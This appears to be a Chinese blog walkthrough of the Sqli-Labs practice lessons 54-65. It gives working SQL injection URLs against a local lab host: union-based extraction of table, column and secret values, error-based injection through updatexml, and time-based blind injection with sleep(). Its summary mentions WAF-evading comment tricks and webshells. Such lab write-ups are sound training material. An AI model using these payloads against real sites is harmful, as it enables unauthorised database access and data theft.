Sqli-Labs less54-65
less-54
从54关开始,就是提升巩固的关卡,并且开始慢慢偏向实际。
第54关就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。
以下的步骤截图就直接从上帝视角截图说明了:
判断出数据格式为单引号包裹,然后判断列数:
http://192.168.0.105/sqli-labs/Less-54/?id=1' order by 3--+ 可知为三列:
查出当前数据库:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,database()--+
爆出表名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+
然后得到列名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name ='46i5jkx2ev' --+
取出数据:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_DHPM,tryy) )) from challenges.46i5jkx2ev --+
输入拿到的secret:
通关完毕。
less-55
这次是14次。
数据格式变成id=(1),其他步骤均相同
less-56
数据格式变成id=(‘1’),其他步骤均相同
less-57
这次还是14次。
数据格式变成id=“1”,其他步骤均相同
less-58
本关不能使用联合查询,并且要求在5次之内获得数据。
使用报错注入:
获得表名:之前已经知道数据库的名字是challenges
http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+
获取字段:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='4agntk4sfa' )),1)--+
获取字段的值:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_IZV9) from challenges.ptji029en9 )),1)--+
因为中间次数超了,重新开始了一下所以表名不一样。
完成。
less-59
同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。
less-60
同样是使用报错注入,区别在于对id值得处理,id=(“1”),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。
less-61
同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。
less-62
看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.0.105/sqli-labs/Less-62/?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+
less-63
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id='1' LIMIT 0,1
less-64
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1
less-65
同样是延时注入,只是对于id值的处理不同:
SELECT * FROM security.users WHERE id=("1") LIMIT 0,1
总结:关于sqli-labs的通关结束。但是对于sql注入可能才是刚刚入门的水平,任重而道远~,下面再小小的总结一下知识点。
id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。
注释符:--+ --空 # %23 和;%00 有的WAF会使注释符过滤转义,所以需要多记几个
手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等
Sqli-Labs less54-65的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
随机推荐
- HTTP返回状态码及错误大全
http://www.kaiyuanba.cn/html/1/131/226/4258.htm HTTP 400 - 请求无效 HTTP 401.1 - 未授权:登录失败 HTTP 401.2 - 未 ...
- Redis为什么变慢了?常见延迟问题定位与分析
Redis作为内存数据库,拥有非常高的性能,单个实例的QPS能够达到10W左右.但我们在使用Redis时,经常时不时会出现访问延迟很大的情况,如果你不知道Redis的内部实现原理,在排查问题时就会一头 ...
- MySQL基础篇(一)
本文主要内容为MySQL的基础语句以及正则表达式等内容. 本文操作的数据库内容存在个人github:https://github.com/YuanGao-1/blog_demo.git init_sc ...
- Local dimming algorithm in matlab plus 1
(续)LED局部背光算法MATLAB仿真 在上一篇博客<Local dimming algorithm in matlab>中,我们实现了对一篇论文的算法用matlab仿真.在本篇论文中, ...
- CTF文件包含
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...
- 痞子衡嵌入式:串行NOR Flash的页编程模式对于量产时间的影响
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是串行NOR Flash的页编程模式对于量产时间的影响. 任何嵌入式产品最终都绕不开量产效率话题,尤其是对于主控是非内置 Flash 型 ...
- 【spring源码系列】之【Bean的初始化】
只要不放弃,希望迟早都会到来! 1. Bean的初始化 如果把bean的生命周期看作一个婴儿诞生过程的,那么创建实例相当于婴儿从母体出来,一丝不挂光秃秃:属性赋值相当于给宝宝的头带帽子,上身穿衣服.下 ...
- python使用笔记26--多线程、多进程
1.概念 线程.进程 进程是资源的集合,也就是一个程序 线程是一个程序运行的最小单位 线程是在进程里面的 默认,一个进程就只有一个线程 一个电脑有几核CPU就只能同时运行几个任务,比如4核CPU只能同 ...
- C语言:数组数据交换
//交换数组中各个变量的值:第1和最后一个交换,第2与倒数第二个交换 #include <stdio.h> int main() { int a[]={1,2,3,4,5,6,7,8,9} ...
- RPC远程协议之Thrift入门
在上一篇文章<RPC远程协议之原理分析>中,我介绍了RPC的工作原理及欲实现RPC框架功能应该做哪些事情,因为要做的事情太多,完全由开发人员研发实现,不是很现实,所以市面上出现了诸多RPC ...